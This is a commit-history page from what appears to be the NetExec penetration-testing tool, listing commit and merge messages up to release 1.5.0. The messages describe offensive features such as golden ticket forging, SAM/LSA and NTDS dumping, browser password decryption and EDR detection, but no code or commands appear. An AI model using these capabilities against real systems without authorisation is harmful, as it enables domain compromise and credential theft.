Compare commits

...
Author SHA1 Message Date
Alex f1877176a5 Merge pull request #1048 from Pennyw0rth/v1.5.0-release
Release version 1.5.0 - Yippie-Ki-Yay
2025-12-24 17:33:14 +01:00
Alexander Neff 86444ab7f2 Release version 1.5.0 - Yippie-Ki-Yay 2025-12-24 07:45:30 -05:00
Alex 7c0892236d Merge pull request #1039 from Dfte/rdp_hosts
NXCDB RDP hosts
2025-12-23 01:13:37 +01:00
Alexander Neff c95b1a7165 Formatting 2025-12-22 19:10:51 -05:00
Alex 3209fafea6 Merge pull request #1046 from Pennyw0rth/neff-patch-1
Small logging adjustment
2025-12-22 23:39:30 +01:00
Alexander Neff 3cdc389fc3 Make logging consistent 2025-12-22 17:34:35 -05:00
Alex ddeadf3b3a Merge pull request #1038 from MaxToffy/dns-nonsecure
New module `dns-nonsecure`
2025-12-22 18:12:17 +01:00
Alexander Neff fc9aaceabe Use ldap attribute parsing and clean up code 2025-12-21 18:14:19 -05:00
Alexander Neff 4c0c19dee5 Don't decode dNSProperty ldap attribute and query root DN 2025-12-21 18:14:00 -05:00
Alex c5e2ad55e0 Merge pull request #1040 from Janrdrz/malwarebytes-indicator
enum_av module: add Malwarebytes EDR Agent indicator
2025-12-12 15:47:21 -05:00
Jan Rodriguez 7ad0224a1c enum_av module: add Malwarebytes EDR Agent indicator 2025-12-12 16:06:37 -04:00
Aurélien CHALOT 203e82f3fd Complete options 2025-12-12 15:51:51 +01:00
Aurélien CHALOT 29e17543bb Add nxcdb hosts [nla] 2025-12-12 15:42:38 +01:00
MaxToffy f78c212f04 Update log message for nonsecure dynamic updates
Signed-off-by: MaxToffy <[email protected]>
2025-12-12 12:13:48 +01:00
MaxToffy 5240a2ae30 New module 'dns-nonsecure' 2025-12-12 12:00:14 +01:00
Alex 69c87d2e7f Merge pull request #1034 from azoxlpf/feat/raisechild-aes
Add AES key support for golden ticket forging
2025-12-06 11:23:23 -05:00
Alexander Neff 2b0273a585 Simplify logic 2025-12-06 11:19:34 -05:00
azoxlpf 43f8c793ad simplify krbtgt key logging with dict lookup 2025-12-06 15:54:13 +01:00
azoxlpf 01e95888d1 move etype option to class variable 2025-12-06 15:48:24 +01:00
Alex 2cbf2448e8 Merge pull request #680 from MickeyDB/main
Added share exclusion functionality
2025-12-06 08:47:35 -05:00
Alexander Neff 471b300145 Strip down logic 2025-12-06 08:42:37 -05:00
Alexander Neff 8af35a01f8 Merge branch 'main' into exclude-shares 2025-12-06 08:35:45 -05:00
Alex 0c0c04d39c Merge pull request #648 from c4pit0ch3f/c4pi/simple_auth_fix
added support for LDAP simple auth
2025-12-06 08:21:25 -05:00
Alexander Neff 9439048b1a Add e2e tests 2025-12-06 08:11:59 -05:00
Alexander Neff ca49b09806 Remove outdated info 2025-12-06 08:08:55 -05:00
Alexander Neff d6a871e012 Remove local-auth concept from LDAP protocol 2025-12-06 08:03:37 -05:00
Alexander Neff 5598fb718e Remove local-auth arg as this does not exist in LDAP 2025-12-06 08:02:20 -05:00
Alexander Neff 46430af861 Disable signing when using simple bind as there is no signing/encryption 2025-12-06 08:01:30 -05:00
Alexander Neff d44b1097b8 Enforce that simple bind is only used with plaintext user:password login 2025-12-06 08:00:15 -05:00
Alexander Neff 147642cb74 Switch to fail message for strongerAuthRequired 2025-12-06 07:31:15 -05:00
Alexander Neff a3a352abb9 Add simple-bind flag and add error messages when signing/sealing is required 2025-12-06 07:29:16 -05:00
Alexander Neff 1509ab0bdb Remove unused smb variables 2025-12-06 07:20:26 -05:00
Alexander Neff 8a7af4b19e Add error message to ldap strongerAuthRequired error 2025-12-06 07:06:45 -05:00
Alexander Neff 712196f480 Merge branch 'main' into ldap-simple-bind 2025-12-06 05:58:26 -05:00
Alex 10127db5ac Merge pull request #939 from Dfte/mssql_cbt_rework
[MSSQL] Add EncryptionReq flag to MSSQL proto
2025-12-05 12:59:52 -05:00
azoxlpf 35e4b021aa Add AES key support for golden ticket forging 2025-12-05 18:39:18 +01:00
Alex 91150d5612 Merge pull request #759 from KriyosArcane/history
Add --history option for NTDS
2025-12-05 10:25:20 -05:00
Alexander Neff af0cf844d6 Move info to debug log 2025-12-05 09:21:08 -05:00
Alexander Neff 66f84dce5a Readd mssql timeout 2025-12-05 09:15:52 -05:00
Alex 61f41990ed Merge pull request #1033 from Pennyw0rth/neff-fix-1032 2025-12-05 08:22:40 -05:00
Alexander Neff ff4dcdadf4 Merge branch 'main' into nfs-db 2025-12-05 08:06:00 -05:00
Alexander Neff a6d95d8bae Fix description 2025-12-05 08:02:21 -05:00
Alexander Neff 09fcb9b0a3 Ensure enough arguments have been supplied to split 2025-12-05 08:02:09 -05:00
Alexander Neff 6fa2b7aace Fix #1032 to not create empty workspace, but return after help display 2025-12-05 08:01:29 -05:00
Alex 59cdb14ace Merge pull request #943 from Mauriceter/vnc-rbf33
BUG Fix: VNC, better handling of RFB 3.3
2025-12-03 09:58:55 -05:00
Alexander Neff c38b5377da Formatting 2025-12-03 09:55:44 -05:00
Mauriceter b9bf1b8102 Merge branch 'Pennyw0rth:main' into vnc-rbf33 2025-12-03 14:14:42 +01:00
Joachim De Bats c4116187b5 removed unsupported flag and checks before plaintext_login 2025-12-03 14:13:39 +01:00
Alex 0437747900 Merge pull request #1028 from Pennyw0rth/neff-fix-582
Insert FQDN instead of NETBIOS name into winrm db
2025-12-03 05:50:58 -05:00
Alexander Neff 1b3584d01f Insert FQDN instead of NETBIOS name into winrm db 2025-12-03 05:18:44 -05:00
Alex 1df94a1319 Merge pull request #1027 from Pennyw0rth/neff-update-impacket
Update impacket
2025-12-03 04:25:39 -05:00
Alexander Neff a455998548 Update impacket 2025-12-03 04:03:51 -05:00
Alex 6120b9302d Merge pull request #1020 from Testeur-2-stylos/enum-av-withsecure 2025-12-02 14:10:37 +01:00
Alex 7834917a40 Merge pull request #1026 from 4zuk4m/main
--no-admin-check flag for smb to disable the "admin check" with SC_MANAGER_ALL_ACCESS which is done by default
2025-12-02 13:51:23 +01:00
Alexander Neff d2659ecd8e Fix help text 2025-12-02 07:35:57 -05:00
Alexander Neff 50007fee59 Add e2e tests 2025-12-02 07:17:31 -05:00
Alexander Neff d8d55186b8 Don't add history hashes to db 2025-12-02 07:15:51 -05:00
Alexander Neff 4f91322692 Improve help text 2025-12-02 07:14:07 -05:00
Alexander Neff 4b68fcdecd Log how many kerb keys were dumped 2025-12-02 07:12:51 -05:00
Alexander Neff f3546d776b Add arg to dump kerberos keys 2025-12-02 07:07:30 -05:00
Alexander Neff 98e1ddf4a1 Enforce that history and enabled arg are mutually exclusive and fix history output 2025-12-02 06:43:51 -05:00
Alexander Neff 5b48857277 Clean up logic 2025-12-02 06:06:56 -05:00
Alexander Neff 7153472967 Remove dummy var 2025-12-02 05:58:16 -05:00
Alexander Neff 985adc1469 Rename function and hash to secrets 2025-12-02 05:57:13 -05:00
Zyp3 a61201c7d8 Change on the no admin check condition in check_if_admin to avoid double negation 2025-12-02 11:47:14 +01:00
Zyp3 2836374053 Change on condition of no admin check (previous code was wrong, i m tired) 2025-12-02 11:01:29 +01:00
Zyp3 6c879039b7 Added a 'no admin check' option for SMB to disable the default admin check via SC_MANAGER_ALL_ACCESS 2025-12-02 10:41:39 +01:00
Alex 7c295611a9 Merge pull request #1025 from azoxlpf/Fix/netbios-resolution-raisechild
Fix NetBIOS resolution in raisechild
2025-12-01 15:52:39 +01:00
Alexander Neff 30e7dec1be Store configuration context when enumerating target 2025-12-01 09:35:53 -05:00
azoxlpf 40323a77f6 add _get_domain_netbios 2025-12-01 14:34:48 +01:00
Alex 5601c95b78 Merge pull request #960 from azoxlpf/fix/mssql-xpcmdshell-permission-check
Fix/mssql xpcmdshell permission check
2025-12-01 12:26:29 +01:00
Alexander Neff 4d2e72c29a Remove dumma var 2025-12-01 06:22:44 -05:00
azoxlpf d5c0b5903d Display SQL error message when xp_cmdshell query fails 2025-12-01 11:57:36 +01:00
azoxlpf d3520c71df prefer IS_SRVROLEMEMBER + fn_my_permissions combo for permission check 2025-12-01 11:04:26 +01:00
azoxlpf a442db74ac ruff fix 2025-12-01 11:04:26 +01:00
azoxlpf ebcb4add65 fix ruff E702 2025-12-01 11:04:26 +01:00
azoxlpf f0fd30f854 add permission check to prevent false success on xp_cmdshell enable 2025-12-01 11:04:26 +01:00
Alex 586733e5e7 Merge pull request #1022 from Pennyw0rth/neff-remove-entra-sync
Remove duplicate module
2025-11-29 15:10:16 +01:00
Alex e5d51003e3 Merge branch 'main' into history 2025-11-29 13:45:47 +01:00
Alexander Neff 0c6b18a06a Remove duplicate module 2025-11-29 07:43:30 -05:00
Testeur-2-stylos 6b9a0fa8a2 enum_av : ruff checked 2025-11-28 10:15:16 +01:00
Testeur-2-stylos 4fa0cb3056 enum_av : modify WithSecure product name 2025-11-28 09:49:01 +01:00
Testeur-2-stylos 80a3c77cef enum_av : add WithSecure detector 2025-11-28 09:30:32 +01:00
Alex 7f588958e3 Merge pull request #768 from tiagomanunes/module-usercredman
Add credential manager dump feature to winrm protocol
2025-11-26 17:12:25 +01:00
Alex 46ba161784 Merge pull request #1017 from lebr0nli/fix-put-file
Fix issues with transferring large or non-UTF-8 data over NFS
2025-11-26 16:17:17 +01:00
Alexander Neff e3c0d9eed1 Update pynfsclient 2025-11-26 10:10:55 -05:00
Alexander Neff 14411310ed Abort upload if exists and voted no 2025-11-26 05:50:18 -05:00
Alexander Neff 3a65ad8228 Enquote paths 2025-11-26 05:49:40 -05:00
Alexander Neff 457f3e608f Update pynfsclient 2025-11-26 05:49:23 -05:00
Alan Li ea18a99810 Transfer data without decoding and use wtpref as the chunk size 2025-11-26 00:51:20 +08:00
Alan Li bd121ea40f Fix incorrect log output 2025-11-25 22:56:43 +08:00
Alex 74a1b39f6e Merge pull request #1014 from Pennyw0rth/neff-fix-s4u2self
Fix bug when using delegation
2025-11-25 14:52:29 +01:00
Alexander Neff 87d290deb6 Return session key to store ST 2025-11-25 08:28:15 -05:00
Alex f3cf3f9934 Merge pull request #1012 from lap1nou/db-mssql
fix: MSSQL db fix
2025-11-23 12:53:06 +01:00
Alexander Neff 7a1bb614e6 Add loggedin and admin relationships to db 2025-11-23 06:48:35 -05:00
lap1nou 64967da0db fix: MSSQL db fix 2025-11-22 22:18:49 +01:00
Alex bdfdcd3031 Merge pull request #1011 from Pennyw0rth/neff-add-priv-check-mssql 2025-11-22 19:13:30 +01:00
Alexander Neff 99ab1acd5a Fix sam/lsa dump if user is not local admin 2025-11-22 08:31:44 -05:00
Alex 8407071696 Merge pull request #1003 from Pennyw0rth/neff-add-mssql-sam-lsa
Add MSSQL LSA and SAM dump
2025-11-21 17:18:34 +01:00
Alex 60d8a71772 Merge pull request #968 from hilarex/patch-1
Update firefox.py for new AES-256-CBC encryption (fix dpapi error)
2025-11-21 17:07:25 +01:00
Alex 9d176da35b Merge pull request #1008 from lap1nou/add-computer-db
feat(db): adding add-computer credential
2025-11-21 17:06:07 +01:00
Alexander Neff 37e5bb4671 Formatting 2025-11-21 11:03:41 -05:00
Alex b49532045c Merge branch 'main' into patch-1 2025-11-21 17:01:40 +01:00
Alexander Neff cf9b89e26c Formatting 2025-11-21 11:01:06 -05:00
Alexander Neff 83bc8bd181 Fix logging in group-mem 2025-11-21 10:50:02 -05:00
Alexander Neff b90be108c4 Remove unused vars 2025-11-21 10:48:29 -05:00
Alexander Neff 068874517f Fix debugging params 2025-11-21 10:47:50 -05:00
Alexander Neff 77b9c2aecd Fix password field 2025-11-21 10:46:05 -05:00
Alexander Neff 4ffc19c3a2 Fix name/accountname vars 2025-11-21 10:45:36 -05:00
Alexander Neff 01ba023b1f Fix deletion of computers via ldap 2025-11-21 10:19:36 -05:00
Alexander Neff b98d07173b Move variables to where they belong to prevent crash on deletion 2025-11-21 10:18:47 -05:00
Alexander Neff 31587e219a Simplify logic 2025-11-21 10:07:37 -05:00
Alexander Neff 4dc1bba7e4 Fix logic issues and formatting 2025-11-21 09:58:28 -05:00
Alexander Neff 7a841f6396 Use fail instead of highlight for failures and formatting 2025-11-21 09:30:24 -05:00
Alexander Neff d536372de7 Make context and connection module variables 2025-11-21 08:43:24 -05:00
Alexander Neff 9627d4ba86 Fix hash usage 2025-11-21 08:41:23 -05:00
Alex 308c44c18e Merge pull request #1010 from Pennyw0rth/neff-fix-deprecation-warning 2025-11-21 13:04:24 +01:00
Alexander Neff e6da5ad54e Mute pypsrp logger 2025-11-21 07:01:56 -05:00
Alexander Neff 6cb3bb6627 Fix import to fix sqlalchemy deprecation warning 2025-11-21 06:53:40 -05:00
Alex ab5989b0f5 Merge pull request #1009 from Janrdrz/kaseya-indicator
enum_av module: add Kaseya EDR Agent indicator
2025-11-21 12:50:18 +01:00
Jan Rodriguez c196a0d2e5 enum_av module: add Kaseya EDR Agent indicator 2025-11-20 16:59:45 -04:00
lap1nou 19886c077a feat(db): adding add-computer credential 2025-11-19 22:01:45 +01:00
Tiago Nunes f5dc6c4b2b Filter out empty credentials, like dploot 2025-11-19 19:31:52 +01:00
Tiago Nunes 9f9fe2f55b Improve logging 2025-11-19 19:28:32 +01:00
tiagomanunes fcf36d7dda Merge branch 'main' into module-usercredman 2025-11-19 18:18:32 +01:00
Alex 0573fac29e Merge pull request #1005 from lap1nou/change-password-db
feat(db): modified the change-password module to modify the password in DB
2025-11-19 11:04:20 +01:00
Alexander Neff d5beffc4c9 Readd user cred deletion in case there is a hash and we want to add pw (and vice vers) 2025-11-19 04:42:55 -05:00
Alexander Neff 987db4e76f Fix deleting multiple cred ids 2025-11-19 04:42:32 -05:00
Alexander Neff 2f7234dd12 Remove inner exception handling so that pws are not updated if password change failed 2025-11-19 04:23:15 -05:00
Alexander Neff 6a1c2a168d Only update credentials 2025-11-19 04:22:52 -05:00
Alexander Neff 4f8667b00b Add e2e-tests 2025-11-19 03:55:41 -05:00
Alexander Neff c425cefa25 Remove duplicate cred gathering group 2025-11-19 03:54:45 -05:00
Alexander Neff 7dc7ba946e Merge branch 'main' into neff-add-mssql-sam-lsa 2025-11-19 03:52:21 -05:00
lap1nou 07a341fcac feat(db): modified the change-password module to modify the password of the user in the DB if it's changed 2025-11-19 00:53:49 +01:00
lap1nou 684836f6c4 feat(db): modified the change-password module to modify the password of the user in the DB if it's changed 2025-11-19 00:39:34 +01:00
Tiago Nunes df1d200174 Merge branch 'main' into module-usercredman 2025-11-18 21:28:36 +01:00
Alex d1131975ca Merge pull request #1004 from Pennyw0rth/neff-improve-help-page
Remove useless option group subtitles
2025-11-18 21:03:59 +01:00
Alexander Neff 21897fdb3e Remove useless option group subtitles 2025-11-18 13:01:04 -05:00
Alexander Neff 123b14314f Remove unnecessary dump-method arg 2025-11-18 12:51:28 -05:00
Alexander Neff 09d52f60af Fix filename for sam dump 2025-11-18 12:39:11 -05:00
Alexander Neff 3a42297eaf Fix winrm sam/lsa dump output path 2025-11-18 12:38:22 -05:00
Alexander Neff 86ed02d68a Fix logging for lsa dump 2025-11-18 12:37:57 -05:00
Alexander Neff 16609eccfe Add --lsa and --sam dumping to mssql 2025-11-18 12:37:30 -05:00
tiagomanunes a0c69af12f Merge branch 'main' into module-usercredman 2025-11-17 18:24:56 +01:00
Alex e1729b19c1 Merge pull request #657 from XedSama/drop_library_ms
New module : drop-library-ms
2025-11-17 15:55:11 +01:00
Alexander Neff 2102847591 Fix e2etests 2025-11-17 06:57:53 -05:00
Alexander Neff d19d24d4fd Formatting 2025-11-17 06:42:51 -05:00
Alexander Neff 5474d64579 Formatting 2025-11-17 06:34:48 -05:00
Alexander Neff a2fa01a09a Formatting 2025-11-17 06:34:20 -05:00
Alexander Neff e782f0a17c Add IGNORE option as this exists in the code 2025-11-17 06:33:36 -05:00
Alexander Neff c2726f7a16 Make name required otherwise you don't know the name to delete it 2025-11-17 06:32:08 -05:00
Alexander Neff 965f1976bb Remove unnecessary check 2025-11-17 06:30:15 -05:00
Alexander Neff affeed0c4e Fiy syntax errors and update module specs 2025-11-17 06:27:22 -05:00
Alex a9c97ab93d Merge branch 'main' into drop_library_ms 2025-11-17 12:23:15 +01:00
Alex fb282369ee Merge pull request #825 from gatariee/feat-rbcd
added support for `--generate-st` and `--delegate-spn` flags
2025-11-16 14:02:39 +01:00
Alexander Neff 4fd412b9df Use remoteName instead of manually building the target string 2025-11-16 07:57:50 -05:00
Alexander Neff 5161cbab03 Prevent .ccache.ccache filename 2025-11-16 07:53:32 -05:00
Alexander Neff 6f928782dc Formatting 2025-11-16 07:51:45 -05:00
Alexander Neff 9f4246cf2d Formatting 2025-11-16 07:30:43 -05:00
Alexander Neff a829e958e6 Merge branch 'main' into rbcd-spn 2025-11-16 07:30:23 -05:00
Alexander Neff 718cbdb27c Formatting 2025-11-16 07:29:00 -05:00
tiagomanunes 11e670a6f0 Merge branch 'main' into module-usercredman 2025-11-16 12:37:19 +01:00
Alex 0fcba561d7 Merge pull request #1000 from Pennyw0rth/neff-fix-#999 2025-11-16 11:12:09 +01:00
Alexander Neff fa9f876287 Make --debug and --verbose mutually exclusive 2025-11-15 17:07:55 -05:00
Alex d4b2ed0764 Merge pull request #997 from Pennyw0rth/neff-fix-mssql-exec
Add error checking to mssql_exec
2025-11-15 15:25:16 +01:00
Alex 4e5027d257 Merge branch 'main' into neff-fix-mssql-exec 2025-11-15 14:41:14 +01:00
Alex 5986caa4c1 Merge pull request #998 from Pennyw0rth/neff-swap-impacket-branch
Switch impacket back to fortra
2025-11-15 14:37:40 +01:00
Alexander Neff c86e8fd333 Switch impacket back to fortra 2025-11-15 08:20:14 -05:00
Alexander Neff 85b224cb1e Fix output type to satisfy splitlines() 2025-11-14 09:10:54 -05:00
Alexander Neff fd0d0b2909 Remove unused import 2025-11-14 08:50:51 -05:00
Alexander Neff bdf47959dc Add check for error when the mssql query failed 2025-11-14 08:50:34 -05:00
Alex 277e05eb83 Merge pull request #981 from azoxlpf/fix/certipy-find-kerberos-auth
Fix Kerberos authentication handling in certipy-find
2025-11-14 13:01:44 +01:00
Alexander Neff 12134998e3 Formatting 2025-11-14 06:57:01 -05:00
Alex 653352cb3d Merge pull request #792 from azoxlpf/feat/raisechild
Add raisechild module
2025-11-13 18:54:29 +01:00
Alex f3211ddf34 Merge pull request #995 from Pennyw0rth/neff-fixes
Polish #895 and fix numerous bugs
2025-11-13 14:05:05 +01:00
Alexander Neff a87143d27f Fix #878 by adding a general FileNotFound exception handling 2025-11-13 07:00:59 -05:00
Alexander Neff 67ddd28ba2 Fix #889 by adding a proper fail message when nopac with null auth is used 2025-11-13 06:36:40 -05:00
Alexander Neff 0bfa8fb3b5 Fix #892 by setting remoteName of the connection 2025-11-13 06:28:25 -05:00
Marshall Hallenbeck 86bf9d446d fix(samr/lsa): support hash authentication; fixes #871 2025-11-13 06:16:23 -05:00
tiagomanunes 1a080f0624 Merge branch 'main' into module-usercredman 2025-11-12 21:03:23 +01:00
Alex fe8d9bc27c Merge pull request #994 from Pennyw0rth/neff-fix-sccm
Fix encoding issue and use proper LDAP attr parsing in SCCM module
2025-11-12 15:30:39 +01:00
Alexander Neff 3c30b9c9f3 Remove unused import 2025-11-12 09:26:16 -05:00
Alexander Neff 2dbae0b5ae Fix encoding issue and use proper ldap parsing 2025-11-12 09:23:42 -05:00
Alex 972c3dfd6a Merge pull request #982 from stfnw/ldap-database-signing-channelbinding
Add LDAP signing and LDAPS channel binding info to db
2025-11-12 15:09:25 +01:00
Alexander Neff 1ea2d8ce1c Readd table columns for signing&cbt 2025-11-12 09:04:27 -05:00
Alexander Neff bd1aec630d Merge branch 'main' into ldap_cbt_db 2025-11-12 09:02:25 -05:00
Alex cb9ad2d6b8 Merge pull request #727 from Pennyw0rth/database_rework
Database rework
2025-11-12 13:13:54 +01:00
Alexander Neff 34f769cb6e Remove unused import 2025-11-12 07:01:50 -05:00
Alexander Neff 80d2f4b6b4 Use nxc_logger for reflection error messages 2025-11-12 07:00:09 -05:00
Alexander Neff d0a7ba097e Formatting 2025-11-12 04:35:38 -05:00
Alexander Neff 13b4823e9a Merge branch 'main' into database_rework 2025-11-12 04:29:37 -05:00
Alexander Neff d443ddec92 Formatting 2025-11-12 04:25:34 -05:00
Alexander Neff 5db48461c2 Fix function description 2025-11-11 08:34:46 -05:00
Alexander Neff d66adbf969 Formatting 2025-11-11 08:34:27 -05:00
Alexander Neff a7618dc43f Formatting 2025-11-11 07:26:15 -05:00
Alexander Neff de0aa37450 Move function 2025-11-11 07:26:01 -05:00
Alex ab9a47386c Merge pull request #991 from Pennyw0rth/neff-fix-nfs-ls
Fix dir listing on NFS
2025-11-11 11:15:46 +01:00
tiagomanunes 527c9bf8b4 Merge branch 'main' into module-usercredman 2025-11-11 10:34:49 +01:00
Alex 3dfd421810 Merge pull request #990 from Janrdrz/forti-indicators
enum_av module: add FortiClient and FortiEDR indicators
2025-11-11 10:10:08 +01:00
Alexander Neff 343d1ce9dc Update pynfsclient 2025-11-11 03:59:12 -05:00
Alexander Neff 3c8d5b209f Continue requesting dir listing data if more entries can be fetched 2025-11-11 03:58:58 -05:00
Jan Rodriguez da7425ddf9 fix: { typo 2025-11-10 22:02:36 -04:00
Jan Rodriguez a1be84cec4 enum_av module: add FortiClient and FortiEDR indicators 2025-11-10 21:45:44 -04:00
azoxlpf 052ad2335c move from ticketer import to manual PAC/TGT build 2025-11-10 22:33:13 +01:00
Alex cfa3812a4e Merge pull request #988 from augustus-7613/fix-typo-in-winrm-args
fix: Correct typos in WINRM argparse
2025-11-10 21:43:07 +01:00
augustus-7613 59fa75c8e4 fix: Correct typos in WINRM argparse 2025-11-10 18:40:37 +01:00
Joachim De Bats 2b38c865c8 removed stypes from host info 2025-11-10 14:30:28 +01:00
Alexander Neff 4b90445fc0 Simplify logic 2025-11-09 17:20:32 -05:00
Alexander Neff 1311a2aa11 Fix description 2025-11-09 17:20:23 -05:00
Alexander Neff eac3253c90 Simplify logic 2025-11-09 16:37:54 -05:00
Alexander Neff 29a89d40c4 Directly use connection values 2025-11-09 16:28:08 -05:00
Alexander Neff 5353f6b6a5 Remov unnecessary checks 2025-11-09 16:09:12 -05:00
Alexander Neff 2ba4604ca3 Move contributor name to class desc 2025-11-09 16:08:50 -05:00
Joachim De Bats 82f2892a14 rename sec to stypes 2025-11-07 15:13:45 +01:00
Joachim De Bats dc251ce751 moving probing to enum_host_info and fixing issues with stype 1 2025-11-07 11:18:59 +01:00
Mauriceter bb63598ba7 Merge branch 'Pennyw0rth:main' into vnc-rbf33 2025-11-07 09:36:15 +01:00
hilarex 8d8f7955f9 Fix 3DES decryption for older Firefox versions by truncating keys to 24 bytes
Signed-off-by: hilarex <[email protected]>
2025-11-06 09:42:59 +01:00
azoxlpf 68fc9b8bf2 replace gettatr with connetion.args.dns_server 2025-11-03 15:00:43 +01:00
Alex 5a5c63f50b Merge pull request #983 from Pennyw0rth/neff-fix-#980
Fix RDP execution without output
2025-11-03 14:27:32 +01:00
Alexander Neff d24304a348 Replace static 'lodos' strings with 'test' 2025-11-03 07:59:27 -05:00
Alexander Neff 63b6d2bf08 Make mssql coerce description more accurate 2025-11-03 07:58:56 -05:00
Alexander Neff d5dd1c1b15 Move logic of clipboard check into case when we want to get the output 2025-11-03 07:54:44 -05:00
Stefan Walter 34f624fdc8 Add LDAP signing and LDAPS channel binding info to db
Closes #731
2025-11-02 16:52:24 +01:00
azoxlpf 34b716b22a neff requested changes 2025-11-02 15:06:00 +01:00
azoxlpf 564fc1e23c remove unnecessary comment 2025-11-01 22:02:48 +01:00
azoxlpf a3e14fe25a Fix Kerberos authentication handling in certipy-find 2025-11-01 21:41:37 +01:00
tiagomanunes a38cd132fc Merge branch 'main' into module-usercredman 2025-11-01 13:14:43 +01:00
Alex 4260e51c36 Merge pull request #977 from Pennyw0rth/neff-fix-#976
Fix nxcdb signing export
2025-10-29 15:08:21 +01:00
Alexander Neff 281833ef4c Fix nxcdb signing export 2025-10-29 09:54:16 -04:00
Alex 5454d63b1e Merge pull request #925 from danwroy/print-to-log
Changed print() statements to new print-only logging method
2025-10-27 10:53:35 +01:00
Alexander Neff d344651a5a Use context logger instead of nxc_logger 2025-10-27 05:32:13 -04:00
danwroy 08fb634d7d print to display in helpers/modules, restored version print in cli
even6_parser, pfx, get-network
Database-related modules left alone
2025-10-26 23:31:06 -07:00
Alexander Neff 6ef6cf6c92 Remove manual proto runner 2025-10-26 16:15:30 -04:00
Alex da7a808294 Merge pull request #975 from Pennyw0rth/neff-fix-procdump 2025-10-26 21:01:33 +01:00
Alexander Neff 6df750462d Update spec file 2025-10-26 15:14:05 -04:00
Alexander Neff bc77940a34 Clean up code 2025-10-26 15:08:44 -04:00
Alexander Neff e8d042d53a Fix import problem and return on error 2025-10-26 15:02:32 -04:00
Alexander Neff 1f06f558d9 Formatting 2025-10-26 14:52:17 -04:00
Alexander Neff 5c2d42c68e Update procdump executable 2025-10-26 14:52:17 -04:00
Tiago Nunes 42b44b63d2 Merge branch 'main' into module-usercredman 2025-10-24 18:44:49 +02:00
Alex 58e0f2f144 Merge pull request #970 from Pennyw0rth/neff-fix-#967 2025-10-24 14:52:55 +02:00
Alexander Neff eb42f7bb06 Prompt fail message if no files could be extracted 2025-10-23 07:12:25 -04:00
Alexander Neff 75e4656356 Use smbexec for smb proto as it is the most reliable 2025-10-23 07:12:05 -04:00
Alexander Neff 4fc3d463b3 Fox kerberoast test 2025-10-23 06:03:48 -04:00
Alexander Neff abf360f951 Formating 2025-10-23 05:14:21 -04:00
Alex 07c6bf6ccb Merge pull request #941 from crosscutsaw/dump-computers_fix
Update dump-computers.py
2025-10-22 23:39:25 +02:00
Alexander Neff f8d2ffafe6 Improve description 2025-10-22 17:36:11 -04:00
Alex 003043a3a3 Merge pull request #962 from azoxlpf/enhancement/schtask_as-adcs-reliability
feat(schtask_as): improve ADCS certificate handling and PFX retrieval
2025-10-22 23:32:00 +02:00
Alexander Neff 37868a127f Formating 2025-10-22 17:28:09 -04:00
Alexander Neff 04b3ffef58 Remove unused imports 2025-10-22 23:19:54 +02:00
Alexander Neff f9ec46eb51 Fix double logs directory path 2025-10-22 23:14:04 +02:00
Alexander Neff af3677ebb6 Remove replace call to ensure windows compatability 2025-10-22 22:51:16 +02:00
Alexander Neff bfbfaa954c Use file format from connection object 2025-10-22 22:50:43 +02:00
Alexander Neff f8e69c12cd Refactor filename templating for logs 2025-10-22 22:32:50 +02:00
crosscutsaw 35885b51d1 Update dump-computers.py
Signed-off-by: crosscutsaw <[email protected]>
2025-10-22 20:11:14 +03:00
azoxlpf 56b74aed8c remove certificate from user store after PFX export 2025-10-22 17:21:46 +02:00
Alexander Neff 55a80ecda5 Add short delay for check so cleanup is through 2025-10-22 11:15:49 -04:00
Alexander Neff b3384a0971 Remove dependency to get-output-tries 2025-10-22 10:32:16 -04:00
Alex bdd3722f48 Merge pull request #969 from Pennyw0rth/neff-improve-computers 2025-10-22 14:26:01 +02:00
Alexander Neff 9e8a8b7c40 Query the samaccountname instead of queryint the name and appending the dollar sign 2025-10-22 06:39:48 -04:00
hilarex 4ca939c96a Update firefox.py for new AES-256-CBC encryption
Add Firefox 144+ password decryption support

- Support new AES-256-CBC encryption format (16-byte IV)
- Extract all master keys from NSS database (Firefox 144+ uses multiple)
- Expand keys to 32 bytes using SHA-256 when needed
- Maintain backward compatibility with legacy 3DES-CBC format
- Try all available keys until successful decryption

Signed-off-by: hilarex <[email protected]>
2025-10-22 10:09:36 +02:00
danwroy 742ed96f7f Removed print_msg(), convert to display() 2025-10-20 14:39:24 -07:00
azoxlpf 7fc7806df0 Update 120s to 60s 2025-10-20 13:54:22 +02:00
azoxlpf cbd218fd0c feat(schtask_as): improve ADCS certificate handling and PFX retrieval 2025-10-17 16:50:36 +02:00
tiagomanunes c77130298e Merge branch 'main' into module-usercredman 2025-10-17 15:01:14 +02:00
Alex 3d407b47a4 Merge pull request #961 from Pennyw0rth/neff-fix-winrm-ps-output
Fix winrm output for powershell
2025-10-17 08:46:19 -04:00
Alexander Neff 0da48a35a4 Improve code for printing the PS streams 2025-10-17 07:59:03 -04:00
Alexander Neff b232520362 Fix winrm output when executing powershell 2025-10-15 10:42:03 -04:00
tiagomanunes 88affc91fa Merge branch 'main' into module-usercredman
Signed-off-by: tiagomanunes <[email protected]>
2025-10-13 18:23:16 +02:00
Alex 136b45cf28 Merge pull request #957 from Pennyw0rth/neff-fix-winrm-errors
Add stderr printing to winrm execution
2025-10-13 08:40:40 -04:00
Alexander Neff 4d637bcdaf Remove unused import 2025-10-13 08:36:49 -04:00
Alexander Neff 594c3b9f75 Add stderr printing to winrm execution 2025-10-13 08:33:25 -04:00
tiagomanunes ec0ed97f72 Merge branch 'main' into module-usercredman 2025-10-08 10:50:23 +02:00
Alex f981215d77 Merge pull request #952 from Pennyw0rth/neff-fix-bh-stacktrace
Catch dns resolver issue when domain can't be resolved
2025-10-07 13:41:30 -04:00
Alexander Neff bc5e842d69 Remove unused returns 2025-10-07 13:38:18 -04:00
Tiago Nunes d3b324d001 Select correct masterkey based on DPAPI_BLOB metadata 2025-10-07 19:37:25 +02:00
Alexander Neff e22b41d6d0 Catch errors from the bloodhound run 2025-10-07 13:35:31 -04:00
Alexander Neff 1ae8c5a148 Also catch NoNameservers 2025-10-07 13:32:30 -04:00
Alexander Neff dece6b0177 Catch dns resolver issue when domain can't be resolved 2025-10-07 13:28:30 -04:00
tiagomanunes d6650a0db7 Merge branch 'main' into module-usercredman 2025-10-07 18:56:44 +02:00
Alex 1f04ce2feb Merge pull request #951 from Pennyw0rth/neff-fix-backup_operator
Readd removed code
2025-10-07 12:41:15 -04:00
Alexander Neff ad71df8031 Readd removed code 2025-10-07 12:16:12 -04:00
tiagomanunes cb3cd3dd7b Merge branch 'main' into module-usercredman 2025-10-05 19:13:11 +02:00
